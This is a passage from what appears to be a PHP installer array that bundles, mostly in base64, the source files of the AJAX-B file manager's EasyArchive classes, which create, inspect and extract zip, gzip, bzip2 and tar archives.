QkJJHppcCA9IG5ldyB6aXA7CgkJCSR6aXByZXN1bHQgPSAkemlwLT5pbmZvc1ppcCgkc3JjLCAkZGF0YSk7CgkJCSRyZXN1bHQgWydJdGVtcyddID0gY291bnQoJHppcHJlc3VsdCk7CgkJCWZvcmVhY2goJHppcHJlc3VsdCBhcyAka2V5PT4kdmFsKQoJCQkJJHJlc3VsdFsnVW5Db21wU2l6ZSddICs9ICR6aXByZXN1bHRbJGtleV1bJ1VuQ29tcFNpemUnXTsKCQkJJHJlc3VsdFsnU2l6ZSddPWZpbGVzaXplKCRzcmMpOwoJCQkkcmVzdWx0WydSYXRpbyddID0gJHJlc3VsdFsnVW5Db21wU2l6ZSddID8gcm91bmQoMTAwIC0gJHJlc3VsdFsnU2l6ZSddIC8gJHJlc3VsdFsnVW5Db21wU2l6ZSddKjEwMCwgMSkgOiBmYWxzZTsKCQl9CgkJZWxzZWlmIChzdHJsZW4oJGNvbXApPjEpCgkJewoJCQkkdGFyID0gbmV3IHRhcjsKCQkJaWYgKCRjb21wID09ICdieicpCgkJCXsKCQkJCSRiemlwMiA9IG5ldyBiemlwMjsKCQkJCSRyZXN1bHQgPSAkYnppcDItPmluZm9zQnppcDIoJHNyYywgdHJ1ZSk7CgkJCQkkc3JjPSRyZXN1bHRbJ0RhdGEnXTsKCQkJfQoJCQllbHNlaWYgKCRjb21wID09ICdneicpCgkJCXsKCQkJCSRnemlwID0gbmV3IGd6aXA7CgkJCQkkcmVzdWx0ID0gJGd6aXAtPmluZm9zR3ppcCgkc3JjLCB0cnVlKTsKCQkJCSRzcmM9JHJlc3VsdFsnRGF0YSddOwoJCQl9CgkJCWlmICgkdGFyLT5pc190YXIoJHNyYykgfHwgaXNfZmlsZSgkc3JjKSkKCQkJewoJCQkJJHRhcnJlc3VsdCA9ICR0YXItPmluZm9zVGFyKCRzcmMsIGZhbHNlKTsKCQkJCSRyZXN1bHQgWydJdGVtcyddID0gY291bnQoJHRhcnJlc3VsdCk7CgkJCQkkcmVzdWx0IFsnVW5Db21wU2l6ZSddID0gMDsKCQkJCWlmIChlbXB0eSgkcmVzdWx0WydTaXplJ10pKQoJCQkJCSRyZXN1bHRbJ1NpemUnXT1pc19maWxlKCRzcmMpP2ZpbGVzaXplKCRzcmMpOnN0cmxlbigkc3JjKTsKCQkJCWZvcmVhY2goJHRhcnJlc3VsdCBhcyAka2V5PT4kdmFsKQoJCQkJCSRyZXN1bHRbJ1VuQ29tcFNpemUnXSArPSAkdGFycmVzdWx0WyRrZXldWydzaXplJ107CgkJCQkkcmVzdWx0WydSYXRpbyddID0gJHJlc3VsdFsnVW5Db21wU2l6ZSddID8gcm91bmQoMTAwIC0gJHJlc3VsdFsnU2l6ZSddIC8gJHJlc3VsdFsnVW5Db21wU2l6ZSddKjEwMCwgMSkgOiBmYWxzZTsKCQkJCQoJCQl9CgkJCWlmICghJGRhdGEpIHVuc2V0KCRyZXN1bHRbJ0RhdGEnXSk7CgkJfQoJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCXJldHVybiBhcnJheSgnSXRlbXMnPT4kcmVzdWx0WydJdGVtcyddLCAnVW5Db21wU2l6ZSc9PiRyZXN1bHRbJ1VuQ29tcFNpemUnXSwgJ1NpemUnPT4kcmVzdWx0WydTaXplJ10sICdSYXRpbyc9PiRyZXN1bHRbJ1JhdGlvJ10sKTsKCX0KCWZ1bmN0aW9uIGV4dHJhY3QgKCRzcmMsICRkZXN0PWZhbHNlKQoJewoJCSRwYXRoX3BhcnRzID0gcGF0aGluZm8gKCRzcmMpOwoJCWlmICghJGRlc3QpCgkJCSRkZXN0ID0gJHBhdGhfcGFydHNbJ2Rpcm5hbWUnXS4nLyc7CgkJJGV4dCA9ICcuJy4kcGF0aF9wYXJ0c1snZXh0ZW5zaW9uJ107CgkJJG5hbWUgPSAkcGF0aF9wYXJ0c1snZmlsZW5hbWUnXTsKCQlmb3JlYWNoICgkdGhpcy0+V2F0aEFyY2hpdmUgYXMgJGtleT0+JHZhbCkKCQkJaWYgKHN0cmlwb3MoJGV4dCwgJGtleSkhPT1mYWxzZSkgJGNvbXA9JHZhbDsKCQlpZiAoJGNvbXAgPT0gJ3ppcCcpCgkJewoJCQkkemlwID0gbmV3IHppcDsKCQkJcmV0dXJuICR6aXAtPmV4dHJhY3RaaXAoJHNyYywgJGRlc3QpOwoJCX0KCQllbHNlaWYgKHN0cmxlbigkY29tcCk+MSkKCQl7CgkJCSR0YXIgPSBuZXcgdGFyOwoJCQlpZiAoJGNvbXAgPT0gJ2J6JykKCQkJewoJCQkJJGJ6aXAyID0gbmV3IGJ6aXAyOwoJCQkJJHNyYyA9ICRiemlwMi0+ZXh0cmFjdEJ6aXAyKCRzcmMpOwoJCQl9CgkJCWVsc2VpZiAoJGNvbXAgPT0gJ2d6JykKCQkJewoJCQkJJGd6aXAgPSBuZXcgZ3ppcDsKCQkJCSRzcmMgPSAkZ3ppcC0+ZXh0cmFjdEd6aXAoJHNyYyk7CgkJCX0KCQkJaWYgKCR0YXItPmlzX3Rhcigkc3JjKSB8fCBpc19maWxlKCRzcmMpKQoJCQl7CgkJCQlyZXR1cm4gJHRhci0+ZXh0cmFjdFRhcigkc3JjLCAkZGVzdCk7CgkJCX0KCQkJZWxzZSBmaWxlX3B1dF9jb250ZW50cygkZGVzdC4kbmFtZSwgJHNyYyk7CgkJCXJldHVybiAkZGVzdDsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9Cj8+',
  './AJAX-B/scripts/EasyBzip2.class.php' => 'PD8KLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBFYXN5QnppcDIuY2xhc3MgVjAuOCAtICBieSBBbGJhbiBMT1BFWgogfCBDb3B5cmlnaHQgKGMpIDIwMDcgQWxiYW4gTE9QRVoKIHwgRW1haWwgYnVncy9zdWdnZXN0aW9ucyB0byBhbGJhbi5sb3BleitlYXp5YnppcDJAZ21haWwuY29tCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIHwgVGhpcyBmaWxlIGlzIHBhcnQgb2YgRWFzeUFyY2hpdmUuY2xhc3MgVjAuOS4KIHwgRWFzeUFyY2hpdmUgaXMgZnJlZSBzb2Z0d2FyZTogeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogfCBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQogfCB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBlaXRoZXIgdmVyc2lvbiAzIG9mIHRoZSBMaWNlbnNlLCBvcgogfCAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgogfCBFYXN5QXJjaGl2ZSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogfCBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogfCBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuCiB8IFNlZSB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscyBvbiBodHRwOi8vd3d3LmdudS5vcmcvbGljZW5zZXMvCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIGh0dHA6Ly93d3cucGhwY2xhc3Nlcy5vcmcvYnJvd3NlL3BhY2thZ2UvNDIzOS5odG1sICoqLwpjbGFzcyBiemlwMgp7Ci8qKgovLyBZb3UgY2FuIHVzZSB0aGlzIGNsYXNzIGxpa2UgdGhhdC4KJHRlc3QgPSBuZXcgYnppcDI7CiR0ZXN0LT5tYWtlQnppcDIoJy4vJywnLi90b3RvLmJ6aXAyJyk7CnZhcl9leHBvcnQoJHRlc3QtPmluZm9zQnppcDIoJy4vdG90by5iemlwMicpKTsKJHRlc3QtPmV4dHJhY3RCemlwMignLi90b3RvLmJ6aXAyJywgJy4vbmV3LycpOwoqKi8KCWZ1bmN0aW9uIG1ha2VCemlwMigkc3JjLCAkZGVzdD1mYWxzZSkKCXsKCQkkQnppcDIgPSBiemNvbXByZXNzKChzdHJwb3MoY2hyKDApLCRzcmMpID8gZmlsZV9nZXRfY29udGVudHMgKCRzcmMpIDogJHNyYyksIDYpOwoJCWlmIChlbXB0eSgkZGVzdCkpIHJldHVybiAkQnppcDI7CgkJZWxzZWlmIChmaWxlX3B1dF9jb250ZW50cygkZGVzdCwgJEJ6aXAyKSkgcmV0dXJuICRkZXN0OwoJCXJldHVybiBmYWxzZTsKCX0KCWZ1bmN0aW9uIGluZm9zQnppcDIgKCRzcmMsICRkYXRhPXRydWUpCgl7CgkJJGRhdGEgPSAkdGhpcy0+ZXh0cmFjdEJ6aXAyICgkc3JjKTsKCQkkY29udGVudCA9IGFycmF5KAoJCQknVW5Db21wU2l6ZSc9PnN0cmxlbigkZGF0YSksCgkJCSdTaXplJz0+ZmlsZXNpemUoJHNyYyksCgkJCSdSYXRpbyc9PnN0cmxlbigkZGF0YSkgPyByb3VuZCgxMDAgLSBmaWxlc2l6ZSgkc3JjKSAvIHN0cmxlbigkZGF0YSkqMTAwLCAxKSA6IGZhbHNlLCk7CgkJaWYgKCRkYXRhKSAkY29udGVudFsnRGF0YSddID0gJGRhdGE7CgkJcmV0dXJuICRjb250ZW50OwoJfQoJZnVuY3Rpb24gZXh0cmFjdEJ6aXAyKCRzcmMsICRkZXN0PWZhbHNlKQoJewoJCSRieiA9IGJ6b3Blbigkc3JjLCAiciIpOwoJCSRkYXRhID0gJyc7CgkJd2hpbGUgKCFmZW9mKCRieikpCgkJCSRkYXRhIC49IGJ6cmVhZCgkYnosIDEwMjQqMTAyNCk7CgkJYnpjbG9zZSgkYnopOwoJCWlmIChlbXB0eSgkZGVzdCkpIHJldHVybiAkZGF0YTsKCQllbHNlaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRkZXN0LCAkZGF0YSkpIHJldHVybiAkZGVzdDsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KPz4=',
  './AJAX-B/scripts/EasyGzip.class.php' => 'PD8KLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBFYXN5R3ppcC5jbGFzcyBWMC44IC0gIGJ5IEFsYmFuIExPUEVaCiB8IENvcHlyaWdodCAoYykgMjAwNyBBbGJhbiBMT1BFWgogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6K2Vhc3lnemlwQGdtYWlsLmNvbQogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IFRoaXMgZmlsZSBpcyBwYXJ0IG9mIEVhc3lBcmNoaXZlLmNsYXNzIFYwLjkuCiB8IEVhc3lBcmNoaXZlIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkKIHwgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHwgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgZWl0aGVyIHZlcnNpb24gMyBvZiB0aGUgTGljZW5zZSwgb3IKIHwgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KIHwgRWFzeUFyY2hpdmUgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKIHwgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIHwgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLgogfCBTZWUgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMgb24gaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzLwogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiBodHRwOi8vd3d3LnBocGNsYXNzZXMub3JnL2Jyb3dzZS9wYWNrYWdlLzQyMzkuaHRtbCAqKi8KY2xhc3MgZ3ppcAp7Ci8qKgovLyBZb3UgY2FuIHVzZSB0aGlzIGNsYXNzIGxpa2UgdGhhdC4KJHRlc3QgPSBuZXcgZ3ppcDsKJHRlc3QtPm1ha2VHemlwKCcuLycsJy4vdG90by5nemlwJyk7CnZhcl9leHBvcnQoJHRlc3QtPmluZm9zR3ppcCgnLi90b3RvLmd6aXAnKSk7CiR0ZXN0LT5leHRyYWN0R3ppcCgnLi90b3RvLmd6aXAnLCAnLi9uZXcvJyk7CioqLwoJZnVuY3Rpb24gbWFrZUd6aXAoJHNyYywgJGRlc3Q9ZmFsc2UpCgl7CgkJJEd6aXAgPSBnemVuY29kZSgoc3RycG9zKGNocigwKSwkc3JjKSA/IGZpbGVfZ2V0X2NvbnRlbnRzICgkc3JjKSA6ICRzcmMpLCA2KTsKCQlpZiAoZW1wdHkoJGRlc3QpKSByZXR1cm4gJEd6aXA7CgkJZWxzZWlmIChmaWxlX3B1dF9jb250ZW50cygkZGVzdCwgJEd6aXApKSByZXR1cm4gJGRlc3Q7CgkJcmV0dXJuIGZhbHNlOwoJfQoJZnVuY3Rpb24gaW5mb3NHemlwICgkc3JjLCAkZGF0YT10cnVlKQoJewoJCSRkYXRhID0gJHRoaXMtPmV4dHJhY3RHemlwICgkc3JjKTsKCQkkY29udGVudCA9IGFycmF5KAoJCQknVW5Db21wU2l6ZSc9PnN0cmxlbigkZGF0YSksCgkJCSdTaXplJz0+ZmlsZXNpemUoJHNyYyksCgkJCSdSYXRpbyc9PnN0cmxlbigkZGF0YSkgPyByb3VuZCgxMDAgLSBmaWxlc2l6ZSgkc3JjKSAvIHN0cmxlbigkZGF0YSkqMTAwLCAxKSA6IGZhbHNlLCk7CgkJaWYgKCRkYXRhKSAkY29udGVudFsnRGF0YSddID0gJGRhdGE7CgkJcmV0dXJuICRjb250ZW50OwoJfQoJZnVuY3Rpb24gZXh0cmFjdEd6aXAgKCRzcmMsICRkZXN0PWZhbHNlKQoJewoJCSR6cCA9IGd6b3BlbiggJHNyYywgInIiICk7CgkJJGRhdGEgPSAnJzsKCQl3aGlsZSAoIWd6ZW9mKCR6cCkpCgkJCSRkYXRhIC49IGd6cmVhZCgkenAsIDEwMjQqMTAyNCk7CgkJZ3pjbG9zZSggJHpwICk7CgkJaWYgKGVtcHR5KCRkZXN0KSkgcmV0dXJuICRkYXRhOwoJCWVsc2VpZiAoZmlsZV9wdXRfY29udGVudHMoJGRlc3QsICRkYXRhKSkgcmV0dXJuICRkZXN0OwoJCXJldHVybiBmYWxzZTsKCX0KfQo/Pg==',
  './AJAX-B/scripts/EasyTar.class.php' => '<?
/**-------------------------------------------------
 | EasyTar.class V0.8 -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez+easytar@gmail.com
 +--------------------------------------------------
 | This file is part of EasyArchive.class V0.9.
 | EasyArchive is free software: you can redistribute it and/or modify
 | it under the terms of the GNU General Public License as published by
 | the Free Software Foundation, either version 3 of the License, or
 | (at your option) any later version.
 | EasyArchive is distributed in the hope that it will be useful,
 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | See the GNU General Public License for more details on http://www.gnu.org/licenses/
 +--------------------------------------------------
 http://www.phpclasses.org/browse/package/4239.html **/
class tar
{ /* http://www.mkssoftware.com/docs/man4/tar.4.asp */
/**
// You can use this class like that.
$test = new tar;
$test->makeTar('./','./toto.Tar');
var_export($test->infosTar('./toto.Tar'));
$test->extractTar('./toto.Tar', './new/');
**/
	function infosTar ($src, $data=true)
	{
		if ($this->is_tar($src))
		{
			file_put_contents ($tmp='~tmp('.microtime().').tar', $src);
			$src = $tmp;
		}
		$ptr = fopen($src, 'r');
		while (!feof($ptr))
		{
			$infos = $this->readTarHeader ($ptr);
			if ($infos['name'])
			{
				if (!$data) unset($infos['data']);
				$result[$infos['name']]=$infos;
			}
		}
		if (is_file($tmp)) unlink($tmp);
		return $result;
	}
	function makeTar($src, $dest=false)
	{
		$src = is_array($src) ? $src : array($src);
		$src = array_map('realpath', $src);
		foreach ($src as $item)
			$Tar .= $this->addTarItem($item.((is_dir($item) && substr($item, -1)!='/')?'/':''), dirname($item).'/');
		
		$Tar = str_pad($Tar, floor((strlen($Tar) + 10240 - 1) / 10240) * 10240, "\0");
		if (empty($dest)) return $Tar;
		elseif (file_put_contents($dest, $Tar)) return $dest;
		else false;
	}
	function extractTar ($src, $dest)
	{
		if ($this->is_tar($src))
		{
			file_put_contents ($tmp='~tmp('.microtime().').tar', $src);
			$src = $tmp;
		}
		$ptr = fopen($src, 'r');
		while (!feof($ptr))
		{
			$infos = $this->readTarHeader ($ptr);
			if ($infos['type']=='5' && @mkdir($dest.$infos['name'], 0775, true))
				$result[]=$dest.$infos['name'];
			elseif (($infos['type']=='0' || $infos['type']==chr(0)) && file_put_contents($dest.$infos['name'], $infos['data']))
				$result[]=$dest.$infos['name'];
			if ($infos)
				chmod($dest.$infos['name'], 0775);
// 				chmod(, $infos['mode']);
// 				chgrp(, $infos['uname']);
// 				chown(, $infos['gname']);
		}
		if (is_file($tmp)) unlink($tmp);
		return $result;
	}
	function is_tar($str)
	{
		$block = substr($str,0, 512);
		if (strlen($block)!=512) return false;
		$realchecksum = octdec(substr($str,148,8));
		$checksum = 0;
		$block = substr_replace($block, '        ', 148, 8);
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($block, $i, 1));
		if ($realchecksum==$checksum) return true;
		return false;
	}
	function tarHeader512($infos)
	{ /* http://www.mkssoftware.com/docs/man4/tar.4.asp */
		$bigheader = $header = '';
		if (strlen($infos['name100'])>100)
		{
			$bigheader = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",
				'././@LongLink','0000000','0000000','0000000',
				sprintf("%011o", strlen($infos['name100'])),'00000000000',
				'        ', 'L', '', 'ustar ', '0',
				$infos['userName32'],
				$infos['groupName32'],'','','','');

			$bigheader .= str_pad($infos['name100'], floor((strlen($infos['name100']) + 512 - 1) / 512) * 512, "\0");

			$checksum = 0;
			for ($i = 0; $i < 512; $i++)
				$checksum += ord(substr($bigheader, $i, 1));
			$bigheader = substr_replace($bigheader, sprintf("%06o", $checksum)."\0 ", 148, 8);
		}
		$header = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", // book the memorie area
			substr($infos['name100'],0,100),		//  0 	100 	File name
			str_pad(substr(sprintf("%07o",$infos['mode8']),-4), 7, '0', STR_PAD_LEFT),		// 100 	8 		File mode
			sprintf("%07o", $infos['uid8']),		// 108 	8 		Owner user ID
			sprintf("%07o", $infos['gid8']),		// 116 	8 		Group user ID
			sprintf("%011o", $infos['size12']),		// 124 	12 		File size in bytes
			sprintf("%011o", $infos['mtime12']),	// 136 	12 		Last modification time
			'        ',								// 148 	8 		Check sum for header block
			$infos['link1'],						// 156 	1 		Link indicator / ustar Type flag
			$infos['link100'],						// 157 	100 	Name of linked file
			'ustar ',								// 257 	6 		USTAR indicator "ustar"
			' ',									// 263 	2 		USTAR version "00"
			$infos['userName32'],				// 265 	32 		Owner user name
			$infos['groupName32'],				// 297 	32 		Owner group name
			'',									// 329 	8 		Device major number
			'',									// 337 	8 		Device minor number
			$infos['prefix155'],					// 345 	155 	Filename prefix
			'');									// 500 	12 		??

		$checksum = 0;
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($header, $i, 1));
		$header = substr_replace($header, sprintf("%06o", $checksum)."\0 ", 148, 8);

		return $bigheader.$header;
	}
	function addTarItem ($item, $racine)
	{
		$infos['name100'] = str_replace($racine, '', $item);
		list (, , $infos['mode8'], , $infos['uid8'], $infos['gid8'], , , , $infos['mtime12'] ) = stat($item);
		$infos['size12'] = is_dir($item) ? 0 : filesize($item);
		$infos['link1'] = is_link($item) ? 2 : is_dir ($item) ? 5 : 0;
		$infos['link100'] == 2 ? readlink($item) : "";

			$a=function_exists('posix_getpwuid')?posix_getpwuid (fileowner($item)):array('name'=>'Unknown');
		$infos['userName32'] = $a['name'];

			$a=function_exists('posix_getgrgid')?posix_getgrgid (filegroup($item)):array('name'=>'Unknown');
		$infos['groupName32'] = $a['name'];
		$infos['prefix155'] = '';

		$header = $this->tarHeader512($infos);
		$data = str_pad(file_get_contents($item), floor(($infos['size12'] + 512 - 1) / 512) * 512, "\0");
		if (is_dir($item))
		{
			$lst = scandir($item);
			array_shift($lst); // remove  ./  of $lst
			array_shift($lst); // remove ../  of $lst
			foreach ($lst as $subitem)
				$sub .= $this->addTarItem($item.$subitem.(is_dir($item.$subitem)?'/':''), $racine);
		}
		return $header.$data.$sub;
	}
	function readTarHeader ($ptr)
	{
		$block = fread($ptr, 512);
		if (strlen($block)!=512) return false;
		$hdr = unpack ("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor/a155prefix/a12temp", $block);
			$hdr['mode']=$hdr['mode']+0;
			$hdr['uid']=octdec($hdr['uid']);
			$hdr['gid']=octdec($hdr['gid']);
			$hdr['size']=octdec($hdr['size']);
			$hdr['mtime']=octdec($hdr['mtime']);
			$hdr['checksum']=octdec($hdr['checksum']);
		$checksum = 0;
		$block = substr_replace($block, '        ', 148, 8);
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($block, $i, 1));
		if (isset($hdr['name']) && $hdr['checksum']==$checksum)
		{
			if ($hdr['name']=='././@LongLink' && $hdr['type']=='L')
			{
				$realName = substr(fread($ptr, floor(($hdr['size'] + 512 - 1) / 512) * 512), 0, $hdr['size']-1);
				$hdr2 = $this->readTarHeader ($ptr);
				$hdr2['name'] = $realName;
				return $hdr2;
			}
			elseif (strtolower(substr($hdr['magic'], 0, 5) == 'ustar'))
			{
				if ($hdr['size']>0)
					$hdr['data'] = substr(fread($ptr, floor(($hdr['size'] + 512 - 1) / 512) * 512), 0, $hdr['size']);
				else $hdr['data'] = '';
				return $hdr;
			}
			else return false;
		}
		else return false;
	}
}
?>',
  './AJAX-B/scripts/EasyZip.class.php' => 'PD8KLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBFYXN5WmlwLmNsYXNzIFYwLjggLSAgYnkgQWxiYW4gTE9QRVoKIHwgQ29weXJpZ2h0IChjKSAyMDA3IEFsYmFuIExPUEVaCiB8IEVtYWlsIGJ1Z3Mvc3VnZ2VzdGlvbnMgdG8gYWxiYW4ubG9wZXorZWFzeXppcEBnbWFpbC5jb20KICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBUaGlzIGZpbGUgaXMgcGFydCBvZiBFYXN5QXJjaGl2ZS5jbGFzcyBWMC45LgogfCBFYXN5QXJjaGl2ZSBpcyBmcmVlIHNvZnR3YXJlOiB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CiB8IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5CiB8IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMgb2YgdGhlIExpY2Vuc2UsIG9yCiB8IChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCiB8IEVhc3lBcmNoaXZlIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCiB8IGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCiB8IE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4KIHwgU2VlIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzIG9uIGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNlcy8KICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogaHR0cDovL3d3dy5waHBjbGFzc2VzLm9yZy9icm93c2UvcGFja2FnZS80MjM5Lmh0bWwgKiovCmNsYXNzIHppcAp7Ci8qKgovLyBZb3UgY2FuIHVzZSB0aGlzIGNsYXNzIGxpa2UgdGhhdC4KJHRlc3QgPSBuZXcgemlwOwokdGVzdC0+bWFrZVppcCgnLi8nLCcuL3RvdG8uemlwJyk7CnZhcl9leHBvcnQoJHRlc3QtPmluZm9zWmlwKCcuL3RvdG8uemlwJykpOwokdGVzdC0+ZXh0cmFjdFppcCgnLi90b3RvLnppcCcsICcuL25ldy8nKTsKKiovCglmdW5jdGlvbiBpbmZvc1ppcCAoJHNyYywgJGRhdGE9dHJ1ZSkKCXsKCQlpZiAoKCR6aXAgPSB6aXBfb3BlbihyZWFscGF0aCgkc3JjKSkpKQoJCXsKCQkJd2hpbGUgKCgkemlwX2VudHJ5ID0gemlwX3JlYWQoJHppcCkpKQoJCQl7CgkJCQkkcGF0aCA9IHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpOwoJCQkJaWYgKHppcF9lbnRyeV9vcGVuKCR6aXAsICR6aXBfZW50cnksICJyIikpCgkJCQl7CgkJCQkJJGNvbnRlbnRbJHBhdGhdID0gYXJyYXkgKAoJCQkJCQknUmF0aW8nID0+IHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSA/IHJvdW5kKDEwMC16aXBfZW50cnlfY29tcHJlc3NlZHNpemUoJHppcF9lbnRyeSkgLyB6aXBfZW50cnlfZmlsZXNpemUoJHppcF9lbnRyeSkqMTAwLCAxKSA6IGZhbHNlLAoJCQkJCQknU2l6ZScgPT4gemlwX2VudHJ5X2NvbXByZXNzZWRzaXplKCR6aXBfZW50cnkpLAoJCQkJCQknVW5Db21wU2l6ZScgPT4gemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpKTsKCQkJCQlpZiAoJGRhdGEpCgkJCQkJCSRjb250ZW50WyRwYXRoXVsnRGF0YSddID0gemlwX2VudHJ5X3JlYWQoJHppcF9lbnRyeSwgemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpKTsKCQkJCQl6aXBfZW50cnlfY2xvc2UoJHppcF9lbnRyeSk7CgkJCQl9CgkJCQllbHNlCgkJCQkJJGNvbnRlbnRbJHBhdGhdID0gZmFsc2U7CgkJCX0KCQkJemlwX2Nsb3NlKCR6aXApOwoJCQlyZXR1cm4gJGNvbnRlbnQ7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KCWZ1bmN0aW9uIGV4dHJhY3RaaXAgKCRzcmMsICRkZXN0KQoJewoJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsKCQlpZiAoJHppcC0+b3Blbigkc3JjKT09PXRydWUpCgkJewoJCQkkemlwLT5leHRyYWN0VG8oJGRlc3QpOwoJCQkkemlwLT5jbG9zZSgpOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQoJZnVuY3Rpb24gbWFrZVppcCAoJHNyYywgJGRlc3QpCgl7CgkJJHppcCA9IG5ldyBaaXBBcmNoaXZlOwoJCSRzcmMgPSBpc19hcnJheSgkc3JjKSA/ICRzcmMgOiBhcnJheSgkc3JjKTsKCQlpZiAoJHppcC0+b3BlbigkZGVzdCwgWmlwQXJjaGl2ZTo6Q1JFQVRFKSA9PT0gdHJ1ZSkKCQl7CgkJCWZvcmVhY2ggKCRzcmMgYXMgJGl0ZW0pCgkJCXsKCQkJCWlmIChpc19kaXIoJGl0ZW0pKQoJCQkJCSR0aGlzLT5hZGRaaXBJdGVtKCR6aXAsIHJlYWxwYXRoKGRpcm5hbWUoJGl0ZW0pKS4nLycsIHJlYWxwYXRoKCRpdGVtKS4nLycpOwoJCQkJZWxzZWlmKGlzX2ZpbGUoJGl0ZW0pKQoJCQkJCSR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGl0ZW0pLCBiYXNlbmFtZShyZWFscGF0aCgkaXRlbSkpKTsKCQkJfQoJCQkkemlwLT5jbG9zZSgpOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQoJZnVuY3Rpb24gYWRkWmlwSXRlbSAoJHppcCwgJHJhY2luZSwgJGRpcikKCXsKCQlpZiAoaXNfZGlyKCRkaXI